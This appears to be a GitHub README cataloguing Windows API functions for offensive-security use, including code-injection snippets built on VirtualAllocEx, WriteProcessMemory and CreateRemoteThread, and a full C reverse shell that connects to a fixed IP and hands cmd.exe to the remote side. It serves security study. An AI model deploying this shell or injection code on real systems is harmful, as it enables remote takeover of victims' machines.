Uh oh!
There was an error while loading.Please reload this page.
- Notifications
You must be signed in to change notification settings - Fork161
A reference of Windows API function calls, including functions for file operations, process management, memory management, thread management, dynamic-link library (DLL) management, synchronization, interprocess communication, Unicode string manipulation, error handling, Winsock networking operations, and registry operations.
7etsuo/windows-api-function-cheatsheets
Folders and files
| Name | Name | Last commit message | Last commit date | |
|---|---|---|---|---|
Repository files navigation
- Windows API Function Cheatsheets
- Code Injection Techniques
- 1. DLL Injection
- 2. PE Injection
- 3. Reflective Injection
- 4. APC Injection
- 5. Process Hollowing (Process Replacement)
- 6. AtomBombing
- 7. Process Doppelgänging
- 8. Process Herpaderping
- 9. Hooking Injection
- 10. Extra Windows Memory Injection
- 11. Propagate Injection
- 12. Heap Spray
- 13. Thread Execution Hijacking
- 14. Module Stomping
- 15. IAT Hooking
- 16. Inline Hooking
- 17. Debugger Injection
- 18. COM Hijacking
- 19. Phantom DLL Hollowing
- 20. PROPagate
- 21. Early Bird Injection
- 22. Shim-based Injection
- 23. Mapping Injection
- 24. KnownDlls Cache Poisoning
- Process Enumeration
HANDLECreateFile(LPCTSTRlpFileName,DWORDdwDesiredAccess,DWORDdwShareMode,LPSECURITY_ATTRIBUTESlpSecurityAttributes,DWORDdwCreationDisposition,DWORDdwFlagsAndAttributes,HANDLEhTemplateFile);// Opens an existing file or creates a new file.
BOOLReadFile(HANDLEhFile,LPVOIDlpBuffer,DWORDnNumberOfBytesToRead,LPDWORDlpNumberOfBytesRead,LPOVERLAPPEDlpOverlapped);// Reads data from the specified file.
BOOLWriteFile(HANDLEhFile,LPCVOIDlpBuffer,DWORDnNumberOfBytesToWrite,LPDWORDlpNumberOfBytesWritten,LPOVERLAPPEDlpOverlapped);// Writes data to the specified file.
BOOLCloseHandle(HANDLEhObject);// Closes an open handle.
HANDLEOpenProcess( [in]DWORDdwDesiredAccess, [in]BOOLbInheritHandle, [in]DWORDdwProcessId);// Opens an existing local process object. e.g., try to open target process
hProc=OpenProcess(PROCESS_CREATE_THREAD |PROCESS_QUERY_INFORMATION |PROCESS_VM_OPERATION |PROCESS_VM_READ |PROCESS_VM_WRITE, FALSE, (DWORD)pid);
HANDLECreateProcess(LPCTSTRlpApplicationName,LPTSTRlpCommandLine,LPSECURITY_ATTRIBUTESlpProcessAttributes,LPSECURITY_ATTRIBUTESlpThreadAttributes,BOOLbInheritHandles,DWORDdwCreationFlags,LPVOIDlpEnvironment,LPCTSTRlpCurrentDirectory,LPSTARTUPINFOlpStartupInfo,LPPROCESS_INFORMATIONlpProcessInformation);// The CreateProcess function creates a new process that runs independently of the creating process. For simplicity, this relationship is called a parent-child relationship.
// Start the child process// No module name (use command line), Command line, Process handle not inheritable, Thread handle not inheritable, Set handle inheritance to FALSE, No creation flags, Use parent's environment block, Use parent's starting directory, Pointer to STARTUPINFO structure, Pointer to PROCESS_INFORMATION structureCreateProcess(NULL,argv[1],NULL,NULL, FALSE,0,NULL,NULL,&si,&pi);
UINTWinExec( [in]LPCSTRlpCmdLine, [in]UINTuCmdShow);// Runs the specified application.
result=WinExec(L"C:\\Windows\\System32\\cmd.exe",SW_SHOWNORMAL);
BOOLTerminateProcess(HANDLEhProcess,UINTuExitCode);// Terminates the specified process.
BOOLExitWindowsEx( [in]UINTuFlags, [in]DWORDdwReason);// Logs off the interactive user, shuts down the system, or shuts down and restarts the system.
bResult=ExitWindowsEx(EWX_REBOOT,SHTDN_REASON_MAJOR_APPLICATION);
HANDLECreateToolhelp32Snapshot( [in]DWORDdwFlags, [in]DWORDth32ProcessID);// used to obtain information about processes and threads running on a Windows system.
BOOLProcess32First( [in]HANDLEhSnapshot, [in,out]LPPROCESSENTRY32lppe);// used to retrieve information about the first process encountered in a system snapshot, which is typically taken using the CreateToolhelp32Snapshot function.
BOOLProcess32Next( [in]HANDLEhSnapshot, [out]LPPROCESSENTRY32lppe);// used to retrieve information about the next process in a system snapshot after Process32First has been called. This function is typically used in a loop to enumerate all processes captured in a snapshot taken using the CreateToolhelp32Snapshot function.
BOOLWriteProcessMemory( [in]HANDLEhProcess, [in]LPVOIDlpBaseAddress, [in]LPCVOIDlpBuffer, [in]SIZE_TnSize, [out]SIZE_T*lpNumberOfBytesWritten);// Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
WriteProcessMemory(hProc,pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);// pRemoteCode from VirtualAllocEx
BOOLReadProcessMemory( [in]HANDLEhProcess, [in]LPCVOIDlpBaseAddress, [out]LPVOIDlpBuffer, [in]SIZE_TnSize, [out]SIZE_T*lpNumberOfBytesRead);// ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process.
bResult=ReadProcessMemory(pHandle, (void*)baseAddress,&address,sizeof(address),0);
LPVOIDVirtualAlloc(LPVOIDlpAddress,SIZE_TdwSize,// Shellcode must be between 0x1 and 0x10000 bytes (page size)DWORDflAllocationType,// #define MEM_COMMIT 0x00001000DWORDflProtect// #define PAGE_EXECUTE_READWRITE 0x00000040);// Reserves, commits, or changes the state of a region of memory within the virtual address space of the calling process.
LPVOIDVirtualAllocEx( [in]HANDLEhProcess, [in,optional]LPVOIDlpAddress, [in]SIZE_TdwSize, [in]DWORDflAllocationType, [in]DWORDflProtect);// Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.
pRemoteCode=VirtualAllocEx(hProc,NULL,payload_len,MEM_COMMIT,PAGE_EXECUTE_READ);
BOOLVirtualFree(LPVOIDlpAddress,SIZE_TdwSize,DWORDdwFreeType);// Releases, decommits, or releases and decommits a region of memory within the virtual address space of the calling process.
VirtualProtect function (memoryapi.h)
BOOLVirtualProtect(LPVOIDlpAddress,SIZE_TdwSize,DWORDflNewProtect,PDWORDlpflOldProtect);// Changes the protection on a region of committed pages in the virtual address space of the calling process.
VOIDRtlMoveMemory(_Out_VOIDUNALIGNED*Destination,_In_constVOIDUNALIGNED*Source,_In_SIZE_TLength);// Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.
HANDLECreateThread( [in,optional]LPSECURITY_ATTRIBUTESlpThreadAttributes,// A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle. [in]SIZE_TdwStackSize,// The initial size of the stack, in bytes. [in]LPTHREAD_START_ROUTINElpStartAddress,// A pointer to the application-defined function of type LPTHREAD_START_ROUTINE [in,optional]__drv_aliasesMemLPVOIDlpParameter,// A pointer to a variable to be passed to the thread function. [in]DWORDdwCreationFlags,// The flags that control the creation of the thread. [out,optional]LPDWORDlpThreadId// A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned.);// Creates a thread to execute within the virtual address space of the calling process.
th=CreateThread(0,0, (LPTHREAD_START_ROUTINE)exec_mem,0,0,0);WaitForSingleObject(th,0);
HANDLECreateRemoteThread( [in]HANDLEhProcess, [in]LPSECURITY_ATTRIBUTESlpThreadAttributes, [in]SIZE_TdwStackSize, [in]LPTHREAD_START_ROUTINElpStartAddress, [in]LPVOIDlpParameter, [in]DWORDdwCreationFlags, [out]LPDWORDlpThreadId);// Creates a thread that runs in the virtual address space of another process.
hThread=CreateRemoteThread(hProc,NULL,0,pRemoteCode,NULL,0,NULL);// pRemoteCode from VirtualAllocEx filled by WriteProcessMemory
HANDLECreateRemoteThreadEx( [in]HANDLEhProcess, [in,optional]LPSECURITY_ATTRIBUTESlpThreadAttributes, [in]SIZE_TdwStackSize, [in]LPTHREAD_START_ROUTINElpStartAddress, [in,optional]LPVOIDlpParameter, [in]DWORDdwCreationFlags, [in,optional]LPPROC_THREAD_ATTRIBUTE_LISTlpAttributeList, [out,optional]LPDWORDlpThreadId);// Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity.// See InitializeProcThreadAttributeList
hThread=CreateRemoteThread(hProc,NULL,0,pRemoteCode,NULL,0,lpAttributeList,NULL);// pRemoteCode from VirtualAllocEx filled by WriteProcessMemory
VOIDExitThread(DWORDdwExitCode);// Terminates the calling thread and returns the exit code to the operating system.
BOOLGetExitCodeThread(HANDLEhThread,LPDWORDlpExitCode);// Retrieves the termination status of the specified thread.
DWORDResumeThread(HANDLEhThread);// Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.
DWORDSuspendThread(HANDLEhThread);// Suspends the specified thread.
BOOLTerminateThread(HANDLEhThread,DWORDdwExitCode);// Terminates the specified thread.
BOOLCloseHandle(HANDLEhObject);// Closes an open handle.
HMODULELoadLibrary(LPCTSTRlpFileName);// Loads a dynamic-link library (DLL) module into the address space of the calling process.
HMODULELoadLibraryExA( [in]LPCSTRlpLibFileName,HANDLEhFile, [in]DWORDdwFlags);// Loads the specified module into the address space of the calling process, with additional options.
HMODULEhModule=LoadLibraryExA("ws2_32.dll",NULL,LOAD_LIBRARY_SAFE_CURRENT_DIRS);
FARPROCGetProcAddress(HMODULEhModule,LPCSTRlpProcName);// Retrieves the address of an exported function or variable from the specified DLL.
pLoadLibrary= (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),"LoadLibraryA");
BOOLFreeLibrary(HMODULEhModule);// Frees the loaded DLL module and, if necessary, decrements its reference count.
HANDLECreateMutex(LPSECURITY_ATTRIBUTESlpMutexAttributes,BOOLbInitialOwner,LPCTSTRlpName);// Creates a named or unnamed mutex object.
HANDLECreateSemaphore(LPSECURITY_ATTRIBUTESlpSemaphoreAttributes,LONGlInitialCount,LONGlMaximumCount,LPCTSTRlpName);// Creates a named or unnamed semaphore object.
BOOLReleaseMutex(HANDLEhMutex);// Releases ownership of the specified mutex object.
BOOLReleaseSemaphore(HANDLEhSemaphore,LONGlReleaseCount,LPLONGlpPreviousCount);// Increases the count of the specified semaphore object by a specified amount.
DWORDWaitForSingleObject( [in]HANDLEhHandle, [in]DWORDdwMilliseconds);// Waits until the specified object is in the signaled state or the time-out interval elapses.
WaitForSingleObject(hThread,500);
BOOLCreatePipe(PHANDLEhReadPipe,PHANDLEhWritePipe,LPSECURITY_ATTRIBUTESlpPipeAttributes,DWORDnSize);// Creates an anonymous pipe and returns handles to the read and write ends of the pipe.
HANDLECreateNamedPipe(LPCTSTRlpName,DWORDdwOpenMode,DWORDdwPipeMode,DWORDnMaxInstances,DWORDnOutBufferSize,DWORDnInBufferSize,DWORDnDefaultTimeOut,LPSECURITY_ATTRIBUTESlpSecurityAttributes);// Creates a named pipe and returns a handle for subsequent pipe operations.
BOOLConnectNamedPipe(HANDLEhNamedPipe,LPOVERLAPPEDlpOverlapped);// Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.
BOOLDisconnectNamedPipe(HANDLEhNamedPipe);// Disconnects the server end of a named pipe instance from a client process.
HANDLECreateFileMapping(HANDLEhFile,LPSECURITY_ATTRIBUTESlpFileMappingAttributes,DWORDflProtect,DWORDdwMaximumSizeHigh,DWORDdwMaximumSizeLow,LPCTSTRlpName);// Creates or opens a named or unnamed file mapping object for a specified file.
LPVOIDMapViewOfFile(HANDLEhFileMappingObject,DWORDdwDesiredAccess,DWORDdwFileOffsetHigh,DWORDdwFileOffsetLow,SIZE_TdwNumberOfBytesToMap);// Maps a view of a file mapping into the address space of the calling process.
BOOLUnmapViewOfFile(LPCVOIDlpBaseAddress);// Unmaps a mapped view of a file from the calling process's address space.
BOOLCloseHandle(HANDLEhObject);// Closes an open handle.
HHOOKSetWindowsHookExA( [in]intidHook, [in]HOOKPROClpfn, [in]HINSTANCEhmod, [in]DWORDdwThreadId);// Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.
LRESULTCallNextHookEx( [in,optional]HHOOKhhk, [in]intnCode, [in]WPARAMwParam, [in]LPARAMlParam);// Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.
BOOLUnhookWindowsHookEx( [in]HHOOKhhk);// Removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.
SHORTGetAsyncKeyState( [in]intvKey);// Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
SHORTGetKeyState( [in]intnVirtKey);// Retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).
BOOLGetKeyboardState( [out]PBYTElpKeyState);// Copies the status of the 256 virtual keys to the specified buffer.
BOOLCryptBinaryToStringA( [in]constBYTE*pbBinary, [in]DWORDcbBinary, [in]DWORDdwFlags, [out,optional]LPSTRpszString, [in,out]DWORD*pcchString);// The CryptBinaryToString function converts an array of bytes into a formatted string.
BOOLCryptDecrypt( [in]HCRYPTKEYhKey, [in]HCRYPTHASHhHash, [in]BOOLFinal, [in]DWORDdwFlags, [in,out]BYTE*pbData, [in,out]DWORD*pdwDataLen);// The CryptDecrypt function decrypts data previously encrypted by using the CryptEncrypt function.
BOOLCryptEncrypt( [in]HCRYPTKEYhKey, [in]HCRYPTHASHhHash, [in]BOOLFinal, [in]DWORDdwFlags, [in,out]BYTE*pbData, [in,out]DWORD*pdwDataLen, [in]DWORDdwBufLen);// The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is referenced by the hKey parameter.
BOOLCryptDecryptMessage( [in]PCRYPT_DECRYPT_MESSAGE_PARApDecryptPara, [in]constBYTE*pbEncryptedBlob, [in]DWORDcbEncryptedBlob, [out,optional]BYTE*pbDecrypted, [in,out,optional]DWORD*pcbDecrypted, [out,optional]PCCERT_CONTEXT*ppXchgCert);// The CryptDecryptMessage function decodes and decrypts a message.
BOOLCryptEncryptMessage( [in]PCRYPT_ENCRYPT_MESSAGE_PARApEncryptPara, [in]DWORDcRecipientCert, [in]PCCERT_CONTEXT []rgpRecipientCert, [in]constBYTE*pbToBeEncrypted, [in]DWORDcbToBeEncrypted, [out]BYTE*pbEncryptedBlob, [in,out]DWORD*pcbEncryptedBlob);// The CryptEncryptMessage function encrypts and encodes a message.
BOOLIsDebuggerPresent();// Determines whether the calling process is being debugged by a user-mode debugger.
BOOLCheckRemoteDebuggerPresent( [in]HANDLEhProcess, [in,out]PBOOLpbDebuggerPresent);// Determines whether the specified process is being debugged.
voidOutputDebugStringA( [in,optional]LPCSTRlpOutputString);// Sends a string to the debugger for display.
/*** Windows Reverse Shell * * ██████ ███▄ █ ▒█████ █ █░ ▄████▄ ██▀███ ▄▄▄ ██████ ██░ ██ * ▒██ ▒ ██ ▀█ █ ▒██▒ ██▒▓█░ █ ░█░▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒██ ▒ ▓██░ ██▒ * ░ ▓██▄ ▓██ ▀█ ██▒▒██░ ██▒▒█░ █ ░█ ▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▓██▄ ▒██▀▀██░ * ▒ ██▒▓██▒ ▐▌██▒▒██ ██░░█░ █ ░█ ▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▒ ██▒░▓█ ░██ * ▒██████▒▒▒██░ ▓██░░ ████▓▒░░░██▒██▓ ▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒██████▒▒░▓█▒░██▓ * ▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒ * ░ ░▒ ░ ░░ ░░ ░ ▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░▒ ░ ░ ▒ ░▒░ ░ * ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░ * ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ * Written by: snowcra5h@icloud.com (snowcra5h) 2023 * * This program establishes a reverse shell via the Winsock2 library. It is * designed to establish a connection to a specified remote server, and execute commands * received from the server on the local machine, giving the server * control over the local machine. * * Compile command (using MinGW on Wine): * wine gcc.exe windows.c -o windows.exe -lws2_32 * * This code is intended for educational and legitimate penetration testing purposes only. * Please use responsibly and ethically. * */#include<winsock2.h>#include<ws2tcpip.h>#include<stdio.h>#include<windows.h>#include<process.h>constchar*constPORT="1337";constchar*constIP="10.37.129.2";typedefstruct {HANDLEhPipeRead;HANDLEhPipeWrite;SOCKETsock;}ThreadParams;DWORDWINAPIOutputThreadFunc(LPVOIDdata);DWORDWINAPIInputThreadFunc(LPVOIDdata);voidCleanUp(HANDLEhInputWrite,HANDLEhInputRead,HANDLEhOutputWrite,HANDLEhOutputRead,PROCESS_INFORMATIONprocessInfo,addrinfo*result,SOCKETsock);intmain(intargc,char**argv) {WSADATAwsaData;interr=WSAStartup(MAKEWORD(2,2),&wsaData);if (err!=0) {fprintf(stderr,"WSAStartup failed: %d\n",err);return1; }SOCKETsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED);if (sock==INVALID_SOCKET) {fprintf(stderr,"Socket function failed with error = %d\n",WSAGetLastError());WSACleanup();return1; }structaddrinfohints= {0 };hints.ai_family=AF_INET;hints.ai_socktype=SOCK_STREAM;structaddrinfo*result;err=getaddrinfo(IP,PORT,&hints,&result);if (err!=0) {fprintf(stderr,"Failed to get address info: %d\n",err);CleanUp(NULL,NULL,NULL,NULL, {0 },result,sock);return1; }if (WSAConnect(sock,result->ai_addr, (int)result->ai_addrlen,NULL,NULL,NULL,NULL)==SOCKET_ERROR) {fprintf(stderr,"Failed to connect.\n");CleanUp(NULL,NULL,NULL,NULL, {0 },result,sock);return1; }SECURITY_ATTRIBUTESsa= {sizeof(SECURITY_ATTRIBUTES),NULL, TRUE };HANDLEhInputWrite,hOutputRead,hInputRead,hOutputWrite;if (!CreatePipe(&hOutputRead,&hOutputWrite,&sa,0)|| !CreatePipe(&hInputRead,&hInputWrite,&sa,0)) {fprintf(stderr,"Failed to create pipe.\n");CleanUp(NULL,NULL,NULL,NULL, {0 },result,sock);return1; }STARTUPINFOstartupInfo= {0 };startupInfo.cb=sizeof(startupInfo);startupInfo.dwFlags=STARTF_USESTDHANDLES;startupInfo.hStdInput=hInputRead;startupInfo.hStdOutput=hOutputWrite;startupInfo.hStdError=hOutputWrite;PROCESS_INFORMATIONprocessInfo;WCHARcmd[]=L"cmd.exe /k";if (!CreateProcess(NULL,cmd,NULL,NULL, TRUE,0,NULL,NULL,&startupInfo,&processInfo)) {fprintf(stderr,"Failed to create process.\n");CleanUp(hInputWrite,hInputRead,hOutputWrite,hOutputRead,processInfo,result,sock);return1; }CloseHandle(hInputRead);CloseHandle(hOutputWrite);CloseHandle(processInfo.hThread);ThreadParamsoutputParams= {hOutputRead,NULL,sock };ThreadParamsinputParams= {NULL,hInputWrite,sock };HANDLEhThread[2];hThread[0]=CreateThread(NULL,0,OutputThreadFunc,&outputParams,0,NULL);hThread[1]=CreateThread(NULL,0,InputThreadFunc,&inputParams,0,NULL);WaitForMultipleObjects(2,hThread, TRUE,INFINITE);CleanUp(hInputWrite,NULL,NULL,hOutputRead,processInfo,result,sock);return0;}voidCleanUp(HANDLEhInputWrite,HANDLEhInputRead,HANDLEhOutputWrite,HANDLEhOutputRead,PROCESS_INFORMATIONprocessInfo,addrinfo*result,SOCKETsock) {if (hInputWrite!=NULL)CloseHandle(hInputWrite);if (hInputRead!=NULL)CloseHandle(hInputRead);if (hOutputWrite!=NULL)CloseHandle(hOutputWrite);if (hOutputRead!=NULL)CloseHandle(hOutputRead);if (processInfo.hProcess!=NULL)CloseHandle(processInfo.hProcess);if (processInfo.hThread!=NULL)CloseHandle(processInfo.hThread);if (result!=NULL)freeaddrinfo(result);if (sock!=NULL)closesocket(sock);WSACleanup();}DWORDWINAPIOutputThreadFunc(LPVOIDdata) {ThreadParams*params= (ThreadParams*)data;charbuffer[4096];DWORDbytesRead;while (ReadFile(params->hPipeRead,buffer,sizeof(buffer)-1,&bytesRead,NULL)) {buffer[bytesRead]='\0';send(params->sock,buffer,bytesRead,0); }return0;}DWORDWINAPIInputThreadFunc(LPVOIDdata) {ThreadParams*params= (ThreadParams*)data;charbuffer[4096];intbytesRead;while ((bytesRead=recv(params->sock,buffer,sizeof(buffer)-1,0))>0) {DWORDbytesWritten;WriteFile(params->hPipeWrite,buffer,bytesRead,&bytesWritten,NULL); }return0;}
intWSAStartup(WORDwVersionRequired,LPWSADATAlpWSAData);// Initializes the Winsock library for an application. Must be called before any other Winsock functions.
intWSAConnect(SOCKETs,// Descriptor identifying a socket.conststructsockaddr*name,// Pointer to the sockaddr structure for the connection target.intnamelen,// Length of the sockaddr structure.LPWSABUFlpCallerData,// Pointer to user data to be transferred during connection.LPWSABUFlpCalleeData,// Pointer to user data transferred back during connection.LPQOSlpSQOS,// Pointer to flow specs for socket s, one for each direction.LPQOSlpGQOS// Pointer to flow specs for the socket group.);// Establishes a connection to another socket application.This function is similar to connect, but allows for more control over the connection process.
intWSASend(SOCKETs,// Descriptor identifying a connected socket.LPWSABUFlpBuffers,// Array of buffers for data to be sent.DWORDdwBufferCount,// Number of buffers in the lpBuffers array.LPDWORDlpNumberOfBytesSent,// Pointer to the number of bytes sent by this function call.DWORDdwFlags,// Flags to modify the behavior of the function call.LPWSAOVERLAPPEDlpOverlapped,// Pointer to an overlapped structure for asynchronous operations.LPWSAOVERLAPPED_COMPLETION_ROUTINElpCompletionRoutine// Pointer to the completion routine called when the send operation has been completed.);// Sends data on a connected socket.It can be used for both synchronous and asynchronous data transfer.
intWSARecv(SOCKETs,// Descriptor identifying a connected socket.LPWSABUFlpBuffers,// Array of buffers to receive the incoming data.DWORDdwBufferCount,// Number of buffers in the lpBuffers array.LPDWORDlpNumberOfBytesRecvd,// Pointer to the number of bytes received by this function call.LPDWORDlpFlags,// Flags to modify the behavior of the function call.LPWSAOVERLAPPEDlpOverlapped,// Pointer to an overlapped structure for asynchronous operations.LPWSAOVERLAPPED_COMPLETION_ROUTINElpCompletionRoutine// Pointer to the completion routine called when the receive operation has been completed.);//Receives data from a connected socket, and can also be used for both synchronous and asynchronous data transfer.
intWSASendTo(SOCKETs,// Descriptor identifying a socket.LPWSABUFlpBuffers,// Array of buffers containing the data to be sent.DWORDdwBufferCount,// Number of buffers in the lpBuffers array.LPDWORDlpNumberOfBytesSent,// Pointer to the number of bytes sent by this function call.DWORDdwFlags,// Flags to modify the behavior of the function call.conststructsockaddr*lpTo,// Pointer to the sockaddr structure for the target address.intiToLen,// Size of the address in lpTo.LPWSAOVERLAPPEDlpOverlapped,// Pointer to an overlapped structure for asynchronous operations.LPWSAOVERLAPPED_COMPLETION_ROUTINElpCompletionRoutine// Pointer to the completion routine called when the send operation has been completed.);// Sends data to a specific destination, for use with connection - less socket types such as SOCK_DGRAM.
intWSARecvFrom(SOCKETs,// Descriptor identifying a socket.LPWSABUFlpBuffers,// Array of buffers to receive the incoming data.DWORDdwBufferCount,// Number of buffers in the lpBuffers array.LPDWORDlpNumberOfBytesRecvd,// Pointer to the number of bytes received by this function call.LPDWORDlpFlags,// Flags to modify the behavior of the function call.structsockaddr*lpFrom,// Pointer to an address structure that will receive the source address upon completion of the operation.LPINTlpFromlen,// Pointer to the size of the lpFrom address structure.LPWSAOVERLAPPEDlpOverlapped,// Pointer to an overlapped structure for asynchronous operations.LPWSAOVERLAPPED_COMPLETION_ROUTINElpCompletionRoutine// Pointer to the completion routine called when the receive operation has been completed.);//Receives data from a specific source, used with connection - less socket types such as SOCK_DGRAM.
intWSAAsyncSelect(SOCKETs,// Descriptor identifying the socket.HWNDhWnd,// Handle to the window which should receive the message.unsignedintwMsg,// Message to be received when an event occurs.longlEvent// Bitmask specifying a group of conditions to be monitored.);// Requests Windows message - based notification of network events for a socket.
SOCKETsocket(intaf,inttype,intprotocol);// Creates a new socket for network communication.
intbind(SOCKETs,conststructsockaddr*name,intnamelen);// Binds a socket to a specific local address and port.
intlisten(SOCKETs,intbacklog);// Sets a socket to listen for incoming connections.
SOCKETaccept(SOCKETs,structsockaddr*addr,int*addrlen);// Accepts a new incoming connection on a listening socket.
intconnect(SOCKETs,conststructsockaddr*name,intnamelen);// Initiates a connection on a socket to a remote address.
intsend(SOCKETs,constchar*buf,intlen,intflags);// Sends data on a connected socket.
intrecv(SOCKETs,char*buf,intlen,intflags);// Receives data from a connected socket.
intclosesocket(SOCKETs);//Closes a socket and frees its resources.
hostent*gethostbyname(constchar*name// either a hostname or an IPv4 address in dotted-decimal notation);// returns a pointer to a hostent struct. NOTE: Typically better to use getaddrinfo
LONGRegOpenKeyExW(HKEYhKey,LPCWTSTRlpSubKey,DWORDulOptions,REGSAMsamDesired,PHKEYphkResult);// Opens the specified registry key.
LONGRegQueryValueExW(HKEYhKey,LPCWTSTRlpValueName,LPDWORDlpReserved,LPDWORDlpType,LPBYTElpData,LPDWORDlpcbData);// Retrieves the type and data of the specified value name associated with an open registry key.
LONGRegSetValueEx(HKEYhKey,LPCWTSTRlpValueName,DWORDReserved,DWORDdwType,constBYTE*lpData,DWORDcbData);// Sets the data and type of the specified value name associated with an open registry key.
LONGRegCloseKey(HKEYhKey);// Closes a handle to the specified registry key.
LSTATUSRegCreateKeyExA( [in]HKEYhKey, [in]LPCSTRlpSubKey,DWORDReserved, [in,optional]LPSTRlpClass, [in]DWORDdwOptions, [in]REGSAMsamDesired, [in,optional]constLPSECURITY_ATTRIBUTESlpSecurityAttributes, [out]PHKEYphkResult, [out,optional]LPDWORDlpdwDisposition);// Creates the specified registry key. If the key already exists, the function opens it. Note that key names are not case sensitive.
LSTATUSRegSetValueExA( [in]HKEYhKey, [in,optional]LPCSTRlpValueName,DWORDReserved, [in]DWORDdwType, [in]constBYTE*lpData, [in]DWORDcbData);// Sets the data and type of a specified value under a registry key.
LSTATUSRegCreateKeyA( [in]HKEYhKey, [in,optional]LPCSTRlpSubKey, [out]PHKEYphkResult);// Creates the specified registry key. If the key already exists in the registry, the function opens it.
LSTATUSRegDeleteKeyA( [in]HKEYhKey, [in]LPCSTRlpSubKey);// Deletes a subkey and its values. Note that key names are not case sensitive.
__kernel_entryNTSTATUSNtRenameKey( [in]HANDLEKeyHandle, [in]PUNICODE_STRINGNewName);// Changes the name of the specified registry key.
intWSAGetLastError(void);// Returns the error status for the last Windows Sockets operation that failed.
voidWSASetLastError(intiError);// Sets the error status for the last Windows Sockets operation.
BOOLWSAGetOverlappedResult(SOCKETs,LPWSAOVERLAPPEDlpOverlapped,LPDWORDlpcbTransfer,BOOLfWait,LPDWORDlpdwFlags);// Determines the results of an overlapped operation on the specified socket.
intWSAIoctl(SOCKETs,DWORDdwIoControlCode,LPVOIDlpvInBuffer,DWORDcbInBuffer,LPVOIDlpvOutBuffer,DWORDcbOutBuffer,LPDWORDlpcbBytesReturned,LPWSAOVERLAPPEDlpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINElpCompletionRoutine);// Controls the mode of a socket.
WSAEVENTWSACreateEvent(void);// Creates a new event object.
BOOLWSASetEvent(WSAEVENThEvent);// Sets the state of the specified event object to signaled.
BOOLWSAResetEvent(WSAEVENThEvent);// Sets the state of the specified event object to nonsignaled.
BOOLWSACloseEvent(WSAEVENThEvent);// Closes an open event object handle.
DWORDWSAWaitForMultipleEvents(DWORDcEvents,constWSAEVENT*lphEvents,BOOLfWaitAll,DWORDdwTimeout,BOOLfAlertable);// Waits for multiple event objects and returns when the specified events are signaled or the time-out interval elapses.
HRSRCFindResource( [in,optional]HMODULEhModule,// A handle to the module whose portable executable file or an accompanying MUI file contains the resource. If this parameter is NULL, the function searches the module used to create the current process. [in]LPCSTRlpName,// The name of the resource. [in]LPCSTRlpType// The resource type.);// Determines the location of a resource with the specified type and name in the specified module.
HRSRCres=FindResource(NULL,MAKEINTRESOURCE(FAVICON_ICO),RT_RCDATA);
HGLOBALLoadResource( [in,optional]HMODULEhModule,// A handle to the module whose executable file contains the resource. [in]HRSRChResInfo// A handle to the resource to be loaded.);// Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory.
HGLOBALresHandle=resHandle=LoadResource(NULL,res);
LPVOIDLockResource( [in]HGLOBALhResData// A handle to the resource to be accessed);// Retrieves a pointer to the specified resource in memory.
unsignedchar*payload= (char*)LockResource(resHandle);
DWORDSizeofResource( [in,optional]HMODULEhModule,// A handle to the module whose executable file contains the resource [in]HRSRChResInfo// A handle to the resource. This handle must be created by using FindResource);// Retrieves the size, in bytes, of the specified resource.
unsignedintpayload_len=SizeofResource(NULL,res);
#include<wchar.h>// for wide character string routines
size_twcslen(constwchar_t*str);// Returns the length of the given wide string.
[wcscpy]
wchar_t*wcscpy(wchar_t*dest,constwchar_t*src);// Copies the wide string from src to dest.
[wcsncpy]
wchar_t*wcsncpy(wchar_t*dest,constwchar_t*src,size_tcount);// Copies at most count characters from the wide string src to dest.
[wcscat]
wchar_t*wcscat(wchar_t*dest,constwchar_t*src);// Appends the wide string src to the end of the wide string dest.
[wcsncat]
wchar_t*wcsncat(wchar_t*dest,constwchar_t*src,size_tcount);// Appends at most count characters from the wide string src to the end of the wide string dest.
[wcscmp]
intwcscmp(constwchar_t*str1,constwchar_t*str2);// Compares two wide strings lexicographically.
[wcsncmp]
intwcsncmp(constwchar_t*str1,constwchar_t*str2,size_tcount);// Compares up to count characters of two wide strings lexicographically.
[_wcsicmp]
int_wcsicmp(constwchar_t*str1,constwchar_t*str2);// Compares two wide strings lexicographically, ignoring case.
[_wcsnicmp]
